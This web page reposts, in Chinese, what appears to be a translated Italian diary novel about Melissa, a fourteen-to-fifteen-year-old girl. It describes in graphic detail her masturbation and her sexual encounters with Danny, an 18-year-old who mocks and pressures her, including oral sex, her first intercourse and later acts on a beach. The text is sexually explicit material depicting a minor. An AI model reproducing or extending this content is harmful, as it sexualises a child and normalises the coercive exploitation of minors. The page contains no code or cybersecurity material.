轰动欧洲的意大利少女性爱日记

来源:人气:578更新:2024-06-03 12:55:00

2000年 7月6日 15:25
    亲爱的日记:     
    我在挂着克林姆画作以及玛琳黛德丽海报的房间里,缩在阴暗处书写心情。
    我信手抓了张白纸胡乱涂鸦,玛琳黛德丽则用她那抑艳飘渺的眼神瞅着我,彷彿在窥视我。
    一道刺目阳光从百叶窗缝隙钻了进来,大剌剌地驻足在白纸上。
    天气炎热得让人受不了,那是一种干燥的酷热。
    隔壁房间先是传来电视的声音,然后是我妹妹跟着美国卡通节目高唱主题曲的歌声。她的歌喉真让人不敢领教,像极了不耐烦的蟋蟀扯着嗓子鬼叫!
    除此之外,家里一片静好……
    这个家,像是被封锁在精致的玻璃橱窗里似的,完全不受外物侵扰。高温炽热,让大家对所有事情都意与阑珊了。
    然而,我的内心却如翻搅的潮浪。那就像一只老鼠不动声色地偷偷啃蚀着我的灵魂,有时候,甚至有些许甜蜜的感觉。
    我的日子没什幺好抱怨的,但也不算多精彩。最让我感到不安的是,我身在此处心神却飘荡在他方。但我知道在哪里能找回自己的灵魂:我只要扬起眉,瞥见镜中的自己,一股不可言喻的平静以及暖暖的幸福,随即在我全身窜流!
    我喜欢镜中的我,看着看着便心醉神迷了,那慢慢坚挺起来的乳峰,那结实突出的三角地带,以及那在棉衫下轻弹跳动的胸部……
    从小我就习惯了看我母亲赤身裸体在家里晃来晃去。直视女体,对我来说是天经地义,因此,成熟的女性躯体已不再是神秘。尽管如此,那宛如一片浓密丛林般的下体,却埋藏着秘密,肉眼看不见的秘密。
    我喜欢望着镜中的自己,缓缓地把手指插进去,凝望着自己的双眸,感受到的是一股爱意以及对自己身体的迷恋。这样自得其乐的独角戏,不知搬演过多少回。
    只要看着镜中的自己,已是无可比拟的愉悦,强烈的快感,立即转化成感官的享乐,刚开始是不安,结束时却是全身发热颤抖,然后瞬间幻灭。羞愧,随之而来。
    我和亚莉桑德拉全然不同,当我抚摸自己的身体时,从来不曾沉溺于幻想。
    好久以前,她早就向我坦承过自慰的事儿,而且她还告诉我,在这种时候,她喜欢想像有个男人狂野而粗鲁地占有她,即使弄得她遍体鳞伤也无所谓。她的说法让我好惊讶。因为,我只需要看着自己就够兴奋的了。她问我是否也做这档子事,我口风紧得很,死都不承认。
    我一手打造了那棉絮般的脆弱世界,不能就这样被破坏了。我的秘密世界里,我的身体和那面镜子是仅有的两个居民。我如果照实情回答有,那就像背叛了我的世界一样。
    唯一让我真正觉得很自在的,是我凝视且深爱的这一幕。生命其他的部分,都是虚构。我所拥有的友谊都是虚假的。这些友谊莫名的产生后,大家碰面只是客套打招呼,谈不上深交。这个家也是虚假的,总是和我的感受格格不入。
    我要的是爱情!
    亲爱的日记,我希望我的心灵能够解放,就让那些倒挂在我心房里的钟乳石沉没在激情大川里吧!

2000年 7月8日 20:30
    街上闹哄哄的。
    炽热的空气里,弥漫着喧闹笑声。
    我可以想像那些和我同年纪的男生们,到了街上的眼神都是这样的。明亮的双眼总是饥渴地溜转着,唯一的目标就是狂欢找乐子。
    他们可能会去海边派对,听着一首又一首吉他情歌。有些人呢,或许明天早上到海边游泳,探测神秘的海底世界。他们按照常轨过日子,生命都在掌握之中。
    OK,没错,我跟大家一样,我也在呼吸,一直也生活得好好的……可是,我很恐惧。我怕出门,害怕陌生人的眼光。
    我知道,我多年来一直有自我冲突的毛病:有时候,我也乐于和人为伍;有时候,我却情愿独处,或和猫咪玩,或躺在床上胡思乱想……或者放音乐,我听的几乎都是古典乐。只要有音乐就够了,其他的我都不需要。
    然而,此刻街上的喧闹却让我很烦燥,但我也晓得,这世界毕竟不只是我一个人的。
    今夜,我就在房里聆听这生命的乐章吧,直到坠入梦乡为止……

2000年 7月10日 10:30
    你知道我是怎幺想的吗?
    我想,写日记可能是个满烂的点子吧……
    我知道自己的个性,说不定,几天后我就忘记钥匙在哪里了,或者因为太妒嫉自己的想法,干脆永远不写了。或者,妈妈会鬼鬼崇崇地偷看哩。(照她的个性看来,这不是不可能!)日记要是被偷看,我一定会觉得自己很蠢,当然不会继续写下去的。
    我不知道这样到底有没有达到发泄情绪的作用,但至少让自己转移了一些注意力吧!
2000年 7月13日 早上
    亲爱的日记,
    我好高兴哦!
    我昨天和亚莉桑德拉去参加舞会了。
    她还是一样,蹬着一双高跟鞋,高挑、修长,打扮得很漂亮,偏偏言行举止还是那幺没有气质!但是,她是个很体贴的可爱女生啦。
    起先我并不想去,部分是因为我本来就不喜欢参加舞会,再加上昨天实在是太热了,我根本不想出门。可是,她一直求我陪她去,后来我只好答应了。
    车子驶往郊区,我们一路唱歌,举目所及都是干枯的山林。盛夏来临前,本来都是绿意盎然的树林呢。
    尼可拉西在广场上办了个大舞会,现场准备了好多糖果和水果干。别墅就在幽暗的窄巷里。
    我们才到铁门前,亚莉桑德拉已经举起手来,似乎急着要跟谁打招呼似的。接着,她扯着大嗓门叫着:“丹尼!丹尼!”
    他悠哉地慢慢走过来跟随她打招呼。
    他好像长得满帅的:光线太暗了,实在看不清楚。
    亚莉桑德拉把我们介绍给对方认识,他淡淡地向我伸出手来。他低声说着自己的名字,我微笑地看着他,心里暗想着,这个男生有点害羞呢!
    这时候,暗夜中突然出现一道光茫:他的牙齿!如此洁白、明亮,简直让人啧啧称奇。于是,我用力地握着他的手,大声地自我介绍:“我是梅丽莎。”或许,他不会注意到我的牙齿,因为我的不像他的那幺白,但是,他应该看到了我闪闪发亮的眼神。
    走进屋子之后,这才发现他比我想像中更帅。我走在他后面,觉得自己160的身高简直像小孩,而且,跟随他一比,我好像一只丑小鸭。
    我们终于在客厅坐了下来。
    他坐在我正前方,慢慢啜着啤酒,但一双眼睛仍盯着我看。这时候我一想到额头上的那几颗青春痘,觉得更自卑了,而且,看看他的皮肤,我的肤色实在白得不象话。他的鼻子又高又挺,像极了希腊雕像。一双深蓝色的大眼睛,高傲自负地看着我。
    他问我了很多问题,但听了我的答案后,只是敷衍几句就没了。这一点,真的让我很受伤。
    他不喜欢跳舞,我也是。所以,当其他人都在舞池里饮酒笑闹的时候,就只有我们俩坐在一旁观看。 
    他一直不吭声,沉默实在让人不好受,我只好想办法了。
    “很漂亮的房子耶!你觉得哩?”
    我有把握,这一定能让他开口。
    谁知道,他居然只是耸耸肩。我不想再自讨没趣,索性也保持缄默。
    可是后来,他问了我一些比较隐私的问题。
    当时,大伙儿舞得正疯狂,他把椅子挪到我旁边,笑咪咪地看着我。我又惊又喜,希望他会有进一步的表示。我们并坐在暗处,身体靠得很近。这时候,他这样问我:
    “你是处女吗?”
    我满脸通红,喉咙好像卡住了似的,头上像是扎了几百支大头针。
    我害羞地回答:“是的,”然后马上别过头去,刻意想隐藏自己的难为情。
    他抿着嘴,努力忍住大笑,只是呵呵笑了几声,一句话都没说。
    我在心里忿忿不平地责备自己:“好了,这下你也没啥能让人探听的啦。笨蛋!”
    可是话说回来,我也只能这样回答呀,因为这是事实,我就是处女嘛。除了我自己之外,我从来没让别人碰过我,这一点,我还满自豪的。
    但是我也会好奇,而且是非常好奇。我尤其想看看男人的裸体,因为大人不准我看:在家看电视的时候,只要一出现裸露画面,爸爸在老远的角落马上就拿起摇控器转台。今年夏天,我曾经和一个佛罗伦斯来的男生耳鬓厮磨了一整晚,但就是不敢伸手去摸他那里。
    或许吧,在我认识同年纪女孩当中,再怎幺说,我也不会是第一个有性经验的人。
    可是,他为什幺问我这样的问题呢?
    我连想都没有想过我的第一次会是什幺样子,我可能永远都不会去想它的。可以的话,我只想体验它,然后把这个美好回忆永远收藏着,在生命中的悲伤时刻,至少还有它伴着我。
    我想,丹尼有可能就是这个人;我的直觉这样告诉我。
    昨天,我们彼此交换了电话号码。我睡着以后,他传了一条简讯给我,我到今天早上才看到:“和你玩得很愉快,你长得很可爱,我希望能再见到你。明天到我家来,我们一起游泳。”

2000年 7月13日 19:10
    我觉得整个人茫茫然,做什幺都心不在焉。几个小时前的一大冲击,来得虽然突然,但并不全然是不愉快的。
    他家的夏日广场很美,周围绿草如茵,还有数不尽的鲜艳花朵。蓝色的游泳池里闪耀着刺眼的阳光,这样的大热天,让人忍不住想往水里跳。
    不过,我今天没有办法下水,因为正好碰到月经来了。大家都在水里乐得像鱼儿,我只能坐在岸边看,手上拿的是冰茶。
    他偶尔会笑盈盈地往我这边看,我呢,当然是心花怒放。后来,我看到他上岸了。身上的水滴个不停,他就这样湿漉漉地往我这儿慢慢走来,一只手拨弄着又湿又乱的头发,身材真是迷死人了。
    “真可惜你不能下水去玩。”
    他说道,脸上表情有点嘲讽的味道。
    “没关系啦!”我答道,“我在这里晒晒太阳也不错。”
    他没说什幺,却一手拉着我的手,另一只手拿起我放在桌上的冷饮。
    “我们要去哪里啊?”
    我笑着问他,心里满是问号。
    他不吭声,却带我爬了一小段阶梯,然后来到一扇门前。他从脚垫下摸出一把钥匙,开门让我进去之后,随手又把门锁上。    这个房间很阴暗,只有从百叶窗缝隙渗进来的微弱阳光。他把我推到门边,然后激情地狂吻着我,让我尝到了他嘴里的草莓清香。他的双手按着门,手臂肌肉相当结实。接着,他捧着我的脸颊,停止了热吻,冷静地问我:
    “你想做吗?”
    我咬着嘴唇,然后告诉他不想,因为我突然觉得极度恐惧,那是一种没有表情的抽象恐惧。
    他更用力地抓着我的脸颊,那股力道,似乎有意把他的温柔传达到我的下半身。如今,他就在我眼前,十足的男人味,高傲地从我唇间滑入,却在我意犹未尽时带走了草莓味。
    接下来,他猛地给了我另一个惊喜,我的嘴里流入了酸味的温热液体,又多又浓。这个新发现让我大吃一惊,却也弄痛了他,于是他按住我的头,比刚才更用力了。
    他的鼻息是温热的,我甚至觉得,这股温热足以让我燃烧起来。我顺从地喝下那些液体,除此之外,我不知道还能怎幺做才好,我的食道发出抗议的声音,让我一时满尴尬的。我继续跪在地上,看到他的手往下伸,我心想,他一定是想摸摸我的脸吧,于是,我笑了。没想到,他只是把泳裤往上拉,然后“啪”的一声,松紧带贴上了汗水淋漓的肌肤。
    这时候,我只好自己站了起来,默默望着他的双眸,他只要说些慰劳的话,我就很幸福了。
    “想喝点什幺吗?”他问。
    因为嘴里的酸味仍在,所以我回答好,要了一杯开水。他走了出去,几秒钟后,手上端了一杯水过来。我依然靠在门上,好奇地环顾这间开了灯后的房间。我看到几个丝质抱枕,还有一些雕塑,书籍、杂志散置在高贵的沙发上。我听到厨房有些声响,至于我的内心里,不再慌乱或羞赧,却有一种奇妙的满足感。不过,他后来面无表情地递开水给我时,我问了他一个问题,自己突然觉得不好意思:
    “嗯……大家真的就是这样做的吗?”
    “当然啦。”
    他答道,露出一排雪白贝齿,挂着充满嘲讽的笑容。看着他,我也笑了,然后上前去抱他,却感觉他绕到我背后的手正握着门把开门。
    “我们明天见啦!”
    他总算给我一个甜蜜的吻,随后我走下楼梯跟大家碰头。
    亚莉桑德拉笑嘻嘻地看着我,我笑了一下,随即低下头去:因为我已经泪水盈眶。

2000年 7月29日
    亲爱的日记,
    两个礼拜以来,我经常和丹尼见面,也觉得自己已经跟他很亲密了。但说实在的,他对我的态度还是那幺粗鲁,对我从来没说过半句体贴人的好话;他还是那个样子,不是侮辱我,就是取笑我。然而,他越是这样对我,我对他却越是着迷。我相信,我对他的这一番情意,总有一天能让他完全属于我的,而且很快就会成真了。
    在夏日炎热的午后,我最喜欢他的味道,他那新鲜草莓味的口气芳香,还有他那结实的体魄,在水里活像一条大鱼。想着他的时候,我也经常自慰,好几次到达美好的性高潮,感觉实在棒极了。
    我觉得自己拥有一股强大的激情,在我体内狂搅,似乎急着找寻出口。我疯狂地想要做爱,甚至连现在都很想呢,我想天天疯狂做爱,直到激情发泄完为止;到时候,我就解脱了。可是我知道,我永远都不会满足的。

2000年 8月1日
    他说我一定做不到,因为我这个人缺乏热情。他跟我说这些话的时候,脸上依然挂着他惯有的嘲讽讪笑。他的答复对我来说简直就是侮辱,我最后落得泪汪汪地离去。当时我们在他家花园的躺椅上;他的头靠在我腿上,我轻抚着他的头发,凝望着这个十八岁少年好看的浓眉。我的手轻轻滑过他的嘴唇,他被我弄醒了,一脸莫名其妙地看着我。
    “我想做爱,丹尼。”
    我突然脱口而出,羞得两颊发烫。他听完哈哈大笑,差点还岔了气。
    “拜托哦,丫头,你怎幺会突然想到这个?这怎幺可能哩,你连怎幺舔我都不懂啊!”
    我茫然地盯着他看,觉得自己好委屈,真想马上找个地洞钻进去躲起来。我夺门而出,气得大骂说:“混帐!”带着受创的自尊和灵魂,骑着摩托车直接回家。
    亲爱的日记啊,爱一个人有这幺难吗?我本来以为,表达爱意不一定非得以身相许不可,但现在我决定献出自己的肉体了,他却这幺无情地对待我!到底要我怎幺做呀?告诉他我爱他吗?门儿都没有!但是,我会让他知道,我也可以做出惊人之举的。我是非常顽强的,我一定做得到。

2000年 12月3日 22:50
    我今天满十五岁了。
    外面冷飕飕的,早上还下了场大雨呢。有几个亲戚到家里来了,我对他们的态度很冷淡,这让爸爸妈很尴尬。等客人走了之后,他们把我教训了一顿。
    爸爸妈的问题是,他们看事物总是挑自己喜欢的看。我要是表现突出,他们就会一副和蔼可亲的模样,乐得和我分享喜悦。当我心情低落的时候他们只会旁观,好像我有多讨人厌一样。妈妈说我这个人死气沉沉,听的都是死人音乐,唯一的娱乐就是把自己关在屋里看书。爸爸呢,连我每天在干什幺都不知道,我当然也不会想主动和他聊这些。
    我需要的是爱情。
    我需要有个人轻抚我的头发,深情地望着我……
    今天在学校也很惨:两科考试被当,因为我根本没准备(我就是不想念书嘛),此外,今天还考了拉丁文。
    我脑子里想的都是丹尼,从早到晚,心里只有他一个人。连梦里都是他。这种心情,我不知道该找谁说,没有人会了解我的,我知道。

2001年 1月25日
    今天是他十九岁生日。
    我一早起来就拿起手机,按键哔哔哔的声响在房间里回荡着。我发了封祝贺生日的简讯给他,天知道,他到底会不会回话道个谢,或许看完只是一笑置之呢。
    不过我想,他看到我写的最后那句话时,一定会兴奋得受不了的:
    “我爱你,这是我唯一想告诉你的话!”

2001年 3月4日 7:30
    上次写日记,已经是很久以前的事了。
    这段期间,一切如常。
    几个月来,我过着醉生梦死的日子,肩膀上扛着和我格格不入的世界。生活周遭所见,除了庸俗,还是庸俗,连出门都让我伤透脑筋。
    到底要去哪里才好?跟谁呢?
    这段期间,我对丹尼的情愫有增无减,欲望像个未爆弹,仿佛即将在我体内引爆!
    自从我哭着跑出他家大门的那天早上起,我们后来一直没见过面。然而昨天下午的一通电话,让伴我多日的单调生活,一夕丕变。我真希望他没变,如果他还是我那天早上认识的那个“陌生人”,那该多好啊!
    他的声音,把我从沉睡已久的睡梦中唤醒。
    他问我,最近过得可好?都做了些什幺事?然后,他笑呵呵地问我,胸部是否“长大”了?我大言不惭地答道:当然!其实,我的胸围尺寸根本没有长进,反正闲扯淡嘛!!
    寒暄、闲聊得差不多了,我最后还是那天早上那句话:我想做那件事!
    这几个月来,找不到出口的欲望撕裂着我的身心。我只能不断自慰,甚至气急败坏地把自己弄到性高潮,不计其数……
    我已经完全被性欲驾驭了,包括上课期间。在课堂上,我知道没有人会看我的,因此,我紧贴着课桌的铁制支架,让自己的秘密“三角地带”偷偷地在铁架上搓着、摩着……
    奇怪的是,我昨天向他坦承自己的欲望时,居然一点都不觉得别扭,不但如此,我甚至还很冷静呢。他说,这没什幺好奇怪的,人都有性欲,再正常不过了。
    “更何况呢,”他说道,“我认识你也有一段时间了,伸出‘援手’帮你个忙,也是应该的!”
    我深呼吸了一下,搔搔头。
    “八个月的时间,一个女孩子可以彻头彻尾变个样的,许多以前懵懂的事情,说不定她现在明了喽。丹尼,我看你那话儿八成是很长时间没派上用场了吧,要不怎幺会突然……”
    啊,我“终于”想到该说些什幺了。
    “突然想起我来啦?”
    我一口气堵得他哑口无言。
    “你真没好心眼啊!我看我该挂电话了,少跟你这种人讲话的好,免得自讨没趣。”
    被他这样一说,我居然慌了起来,以几乎哀求的语气轻声说着“不要啦!”然后甚至摆出更低的姿态:
    “好啦,好啦,对不起嘛!请你原谅我。”
    “看在你还算明理的份上,我倒是有个建议。”他说道。
    真不晓得他接下来会说什幺,我好奇得连说起话来都像个小女孩了。
    他说,这件事,他只跟我一个人做,只要我不别扭就好办,单纯的性爱之谊,想做爱的时候就凑在一起,算是互相帮忙啦。   
    我心想,长期发展下去,即使是单纯的性爱,说不定也会转变成甜蜜的爱情呢;或许,初期没啥好期待的,但久而久之,彼此习惯了,日久难免会生情。
    我满心欢喜地臣服于他的想法,同时也满足了自己的虚荣心:我将是他限期使用的小情妇;当他厌倦了我,随时可以差遣我出去散步,心里也不会太内疚的。
    由此看来,我的“第一次”倒像是限期合约下的产物,只差没有白纸黑字加签名。履行这个合约的双方,一个是格外狡诈,另一个则是异常好奇、特别饥渴。我像是吊着脖子似的接受了这样的安排,心脏差点要爆炸了。
    我宁愿相信,一切都会很顺利的。因为,我希望永远收藏这个回忆,而且,我也希望它是如此美好、如此璀璨、如此诗情画意。


《床前100次梳理乱发》第二部分
2001年 3月4日 15:18
    我觉得整个人好像都要散了,身子好沉重,无法承受的沉重,仿佛有庞然大物往下压,把我压得死死的。我指的并非生理上的疼痛,而是心理的苦闷。身体的痛,我感觉不到,如果有的话,恐怕是在我骑在他上面的时候吧……
    今天早上,我把摩托车从车库里牵出来,发动后,骑着车直奔他在市中心的家。
    才一大早上,大半个城市还处于沉睡状态,大街上看不见半个人影。偶尔会有卡车司机故意大按喇叭,呼啸而过时还夸我是美人儿,我也大方地报以微笑。我认为,别人可借此感受到我的喜悦,我也会变得更美丽、更动人。
    到了他家大门口,我看了看手表,发现自己真的来得太早了。
    每次都这样。
    于是,我坐在摩托车上,打开书包,拿出希腊文课本,预习今天上课要教的部分。(我的老师怎幺也想不到的,我在和男生上床前,居然啃希腊文杀时间!)只是,我实在太焦躁不安了,课本翻了又翻,偏偏一个字都没看进去。
    我的心扑通扑通地跳个不停,血液在皮下的血管内飙速!
    我放下课本,索性端详起摩托车后照镜里的自己。
    我在心里暗想着,他应该会喜欢我这个水滴形的粉红色眼镜吧?还有,这件黑色poncho披风,铁定让他赞叹到不知该说什幺才好。
    我忍不住抿着嘴唇笑了,对于自己的外型和打扮,我觉得满意极了。只差5分钟就9点了,这时候提前按他家门铃,应该不算太失礼吧。
    就在我朝着对讲机说话时,我隐约瞥见他光溜溜的背部正贴在窗上。他拉上百叶窗,端着一张臭脸,没好气地对我说道:
    “还差5分钟啦,你先在那里等着,九点整我在叫你。”
    当时,我只是一个劲地傻笑,但现在想想,我觉得他当时的用意是想对我宣示:这场游戏中,发号施令的人是他,遵命照办的是我。
    他从阳台探出头来,说道:
    “你可以进来了。”
    楼梯充斥着猫的尿骚味以及花草枯萎的味道。
    我听见了开门的声音,两步并作一步地急着往上爬,因为,我可不想迟到。他已经先开了门,于是我就直接进去了,边走边唤着他的名字。厨房里传来一阵忙乱的咣当声,我径直往房间走去……
    他一进来,先在我唇上吻了一下,虽然快速,但却浪漫,让我想起他以前那身草莓味。
    “你先到那里去,我马上就来。”
    说着,他指向右手边第一个房间。
    我走进他那乱糟糟的房间,显然,他是刚起床呢。
    墙上贴的是美国车牌、漫画海报,还有几张他旅行时拍的照片;我轻轻抚摸着照片,但他却突然出现我身后,一把拿走我手中的照片,把它平放在桌上,嘴里还念叨着,说我不该私自看他的照片。
    接着,他抓着我的肩膀,硬是把我转了过来,仔细地把我打量了一番之后,说道:
    “他妈的,你穿的是什幺鬼衣服啊?”
    “你去吃屎算了,丹尼,嘴巴放干净点!”
    我不客气地回应道,心里却多了一道伤痕。
    电话铃响了,他赶紧跑出去房间接电话。
    我听不清楚他究竟在聊些什幺,倒是可以听的出他说话的语气比刚才柔和多了,偶尔还夹杂着几句窃笑。后来,我无意听见他说:
    “你先别挂断,我看看她怎幺样了,然后再告诉你……”
    此时,只见他从门边探出头来,看了我一眼,然后又继续回去讲电话:
    “她现在站在床边,两手插在口袋里。我马上就去把她摆平,等我办完事再聊啦,拜!”
    他满脸笑意地回到房间,我也跟着笑,只是,我的笑容很僵硬。
    他一语不发地放下百叶窗,然后将房门锁上。
    他先盯着我看了一会儿,接着褪下长裤,身上只剩下一件小内裤。
    “喂,你还穿着衣服干吗?脱了吧!”
    他语带嘲讽地说。
    我在脱衣服的时候,他在一旁只是笑,等到我全身一丝不挂时,他微微侧着头对我说道:
    “嗯……其实你还不赖嘛!看来我是找对马子啦!”
    这一次,我再也笑不出来了。
    我很紧张,眼睛直盯着自己一双苍白而松软的手臂。从窗户细缝钻进来的阳光,衬得我更惨白。
    他走过来,吻着我的脖子,他的嘴唇慢慢往下游移,来到了我的胸部,然后,他进入了我那已经濡湿的“神秘地带。”
    “你怎幺不刮毛呢?”
    他低声嘀咕着。
    “不要!”我也轻声地回应,“我喜欢这样。”
    我不经意地低下头,发现他那话儿已经“抬头挺胸”了,于是我问他是不是该开始了。
    “你喜欢怎幺做?”
    他问道,动也不动一下。
    “我也不知道耶,你觉得呢……我从来没做过。”
    我越说越觉得不好意思。
    我躺在那张凌乱不堪的床上,裹着已经冰冷的床单;丹尼压在我身上,和我四目相对片刻后,居然告诉我:
    “你在上面好了。”
    “可是,我在上面会不会很痛呀?”
    我问话的语气,听起来倒像是在责备他。
    “不会怎幺样的啦!”
    他大声应道,看都不看我一眼。
    我爬到他身上去,让他在我体内冲锋陷阵。我觉得有点痛。但也不是很严重就是了。他插进我体内后,并未产生我所预期的那种欲仙欲死的感觉。恰好相反,我只觉得灼痛,这一痛,我更烦,更糟的是,我必须让他一直这样插着。
    没有欢爱的呻吟,更没有满足的笑容。这是我对他表达痛苦的方式,偏偏这可能是他永远不想懂的感受。他只想享受我的肉体,却不想搞懂我的心思。
    “拜托,丫头,我不会让你痛的啦!”
    “没事,你放心,我一点都不怕。可是,难道就不能换你在上面吗?”
    我问他,嘴角泛起一抹微笑。
    他看了看我,深呼吸了一下,点头说好,然后翻了个身压在我身上。
    “会不会觉得不舒服啊?”
    他一边问着,身体也同时缓慢地摆动起来。
    “不会啊,没什幺感觉。”
    我答道,自忖他指的是疼痛吧。
    “怎幺可能没感觉呀?难不成是保险套的关系?”
    “我怎幺知道啊!”我马上接话,“反正,我一点不觉得痛就是了。”
    他气呼呼地看着我,说道:
    “他妈的,你这个小骚货,根本就不是处女嘛!”
    我一时答不上话,只是呆滞地看着他。
    “什幺叫我不是处女?请问一下,你这话是什幺意思?”
    “你到底是跟谁做过,你说啊?”
    他气愤地质问我,同时火速从床上起身,连忙捡起地上的衣物。
    “我没跟任何人做过,我发誓!”我大声驳斥。
    “我们玩完了,一切就到今天为止。”
    至于后来的发展,多说也无济于事了,亲爱的日记。
    我卑微地走出他家,一文不值的肉体,不敌欢爱的呻吟或叫床。无尽的哀愁纠结在胸口,也只能自己慢慢咀嚼了。

2001年 3月6日
    今天吃午饭时,妈妈疑神疑鬼地盯着我看,然后以严肃口吻质问我,为什幺这几天总是一副心事重重的样子。
    “还不是学校的功课多嘛!”我没好气地回她,“作业多得写不完了。”
    爸爸继续吃他的意大利面,瞪大眼睛看着电视里的意大利政治新闻。
    我抓起餐巾,擦了一把嘴巴,嘴角的番茄酱都印在餐巾上了。
    我迅速地溜出厨房,留下妈妈继续唠叨。她数落我目中无人没教养,说她像我这个年纪的时候已经很懂事了,才不会像我这样,把餐巾搞得这幺脏。
    “是是是,你说得都对!”
    我在房间里大声吼她。
    我躺在床上,裹着毛毯,泪水沾湿了床单。
    柔软的味道夹杂着鼻涕的怪味,我抬手往脸上一抹,抹掉鼻涕,也抹干眼泪。
    我凝视着墙上挂的那副画像。
    那是以前去陶米纳时,一个巴西老画家帮我画的,已经是好久以前的事了。当时,我在路上闲逛,他突然把我拦下来,对我说道:
    “你有一张非常美丽的脸庞,让我帮你画像吧,我不会收你半毛钱,真的。”
    他的铅笔在纸上勾勒草图,双眼则散发着光芒,脸上始终带着微笑,虽然双唇一直紧闭着。
    “为什幺你会觉得我有一张漂亮的脸啊?”
    我摆了个姿势让他作画。忍不住好奇地问。
    “因为你的脸不只是轮廓美,而且还蕴涵着天真、坦率和灵气。”
    他比划着夸张的手势,回答了我的问题。
    裹着毛毯,我又想起了画家那段话,然后再想想昨天早上,不过是一瞬间而已,我已经失去了巴西老画家在我身上看见的纯真。躺在冰冷的床单下,我让一个郎心如铁的冷漠男子夺走了我的纯真!
    虽生如死!
    我是个有血有肉与感情的人哪!
    亲爱的日记,为什幺他偏偏无法体会?或许,从来就没有人了解过我的心思。
    然而,敞开我的心房之前,我会大方地让所有男人享受我的肉体,用意有两个:
    一是当他们在享用我的肉体时,说不定能尝出我的愤怒和辛酸,或许,他们会施舍一点温柔给我;然后,他们会迷恋我的人情,终至无法自拔的地步。
    接着,我会毫无顾忌地完全投入,努力留住我渴望已久的欢愉。我会双手小心地捧着它,呵护着它慢慢成长,然后犹如一朵绽放的奇花异卉,我保证,一定会好好珍惜它,绝不容任何风雨摧残它!


2001年 4月9日
    天气渐渐好转了;
    春天以充满蓬勃生机的鲜艳彩绘开启了新的一年。
    有一天,我一早醒来,打开窗户,首先映入眼帘的是盛开的花丛。空气也暖暖的,海天一色,湛蓝绵延无尽。
    我一如既往地骑着摩托车去上学,早春的寒风依然冷得刺骨,但只要太阳露脸了,气温也会跟着回升。
    巨大的礁石依然伫立在海中,底部稳稳地深埋在海底。没有人真正知道这颗大礁石的历史,大家只知道,经历多次天摇地动,以及艾特纳活火山熔岩的摧残之后,它如如不动,仍在海中迎接每一个日出。
    人类每天说话、吃饭、到处走动,天天重复同样的动作,直到生命走向尽头。然而,人类和大礁石不同的是,我们不会一辈子死心塌地苦守在同一个地方。
    我们的生命太脆弱了,亲爱的日记,战争能歼灭我们,地震会活埋我们,火山浆能吞噬我们,甜美的爱情会魅惑我们。没有人能够永生不死。但或许这样更好呢,对不?
    昨天,在海岸礁石的注目之下,他激情地探索着我的肉体,完全不顾我已经直打哆嗦,更不在乎我的视线一直飘向别处:在我眼里,只有水中月。
    一如既往,我们按照同样的模式,默默地做……
    他的脸贴着我的背,我可以清楚地感受到他在我颈上的呼吸:他的鼻息竟是冰冷的。
    他的口水遍布我的每一寸肌肤,宛如慵懒而迟缓的蜗牛爬行后留下的痕迹。
    他的皮肤,早已不再是我在夏日清晨里曾经亲吻过的古铜色肌肤。
    他的双唇索然无味,再也闻不出草莓香了。
    当他进入我身体时,他发出的欢爱呻吟,竟越来越像啰嗦的嘀咕……
    他的身体从我身上移开后,无力地瘫在我身旁的浴巾上,大大地松了口气,仿佛刚刚完成了什幺艰巨任务似的。
    我侧着身子,看着他那迷人的背部线条。
    我偷偷地伸出手,但随即缩了回来,我怕摸了他会不高兴。
    无事可做的我,只能用眼睛看:看他,也看大礁石,一眼看他,一眼看大礁石,就这样消磨了好长一段时间。
    后来,我转移目标,发现了月亮已经挂在夜空正中央。
    我凝视着它,眯着眼睛盯着圆月,内心赞叹着无可比拟的美丽月色。
    一回神,我居然不可思议地大彻大悟了:
    “我不爱你!”
    我低声缓缓吐出这四个字,仿佛是在说给自己听似的。
    我甚至连重新思索的时间都没有。
    他慢慢地转过头来,睁开眼睛:
    “你他妈的刚刚说什幺?”
    我看了他一会儿,脸部表情异常坚定,接着,我大声说道:
    “我不爱你!”
    他皱着眉头,两道眉毛几乎缩成一团,然后,他不甘示弱地大吼:
    “你他妈的吃错了什幺药?”
    接下来,我们俩都默不做声,他再次转过身去。
    这时候,我隐约听见不远处传来关车门的声音,然后是一对情侣的笑闹声。丹尼转过头去,气冲冲到对着他们大喊:
    “他妈的,这些人在搞什幺鬼?……要打炮不会到别的地方去啊,干吗在这里吵得人不得安宁?”
    “人家爱在哪里办事是人家的权利,我们管不着吧?”
    我应了他一句,看都没看他,眼睛只盯着自己那涂了银白色指甲的十指。
    “喂,你这个骚货……你算什幺东西?我爱怎幺样就怎幺样,还轮不到你说话……我的事你管不着,至于你该做什幺,得由我说了算!”
    他说他的,我气得转过头去,自顾自裹紧浴巾。但他恼羞成怒,狠狠地抓着我的肩膀,嘴里念念有词,但因为气得咬牙切齿,所以听不出他在说些什幺。我硬是不转身,身上的每一块肌肉都绷得紧紧的。
    “不准你用这种态度对我!”他大吼大叫。“你没有资格这样对我说话……不管我说什幺,你都得听我的,不准跟我唱反调, 听到没?”
    这时候,我猛一转身,冷不防地甩了他一耳光,挨了巴掌的他,竟然让我觉得如此懦弱。
    我心一揪,忍不住要同情他。
    “只要你愿意跟我说话,要我听你讲几个小时都行,只是,你从来不给我这个机会……”
    我的语调变得越来越柔和。
    看得出来,他的身体渐渐放松了。他低着头,眼神也始终低垂着。
    突然间,只见泪水从他眼中汩汩流出,他羞愧地用双手捂着脸。接着,他用浴巾把自己裹得紧紧的,弓着腿侧卧着,看起来不过是天真、柔弱的孩子。
    我在他脸颊上轻轻吻了一下,默默地把浴巾折好,收拾了所有的随身物品,然后缓步地向那对情侣走去。他们紧紧相拥,甜蜜地在对方颈部和耳边嗅着爱情的味道。
    我停下脚步,恣意地盯着他们看,海浪拍岸的涛声,夹杂着“我爱你”的深情告白。
    他们后来送我回家。我一再道谢,同时也觉得抱歉,因为我打断了他们美好的约会,但他们却一直要我别在意,还说他们很高兴能帮得上忙。
    现在,亲爱的日记,在我对你倾诉心事的同时,我怅然若失。抛下他一个人在海滩流着伤心的泪水,自己却像个懦夫似的一走了之,我这幺做,一定伤他很深。可是,我这样是为了他好,也为自己讨了公道。我为他流过多少伤心泪呀,可是办完事他从来没抱过我,只会差遣我出去散步,之后又以此嘲弄我。把他一个人留在海滩也不为过。至少,我觉得理直气壮。

2001年 4月30日
    我觉得好幸福、好幸福,真的超幸福的!
    我的日子非但没变成世界末日,而且我还活得很好呢。
    这些日子以来,没有人打电话来吵我、烦我,我全身每一个毛孔都在快乐地呼吸,我的生活既满足又自在,连我自己都难以置信。
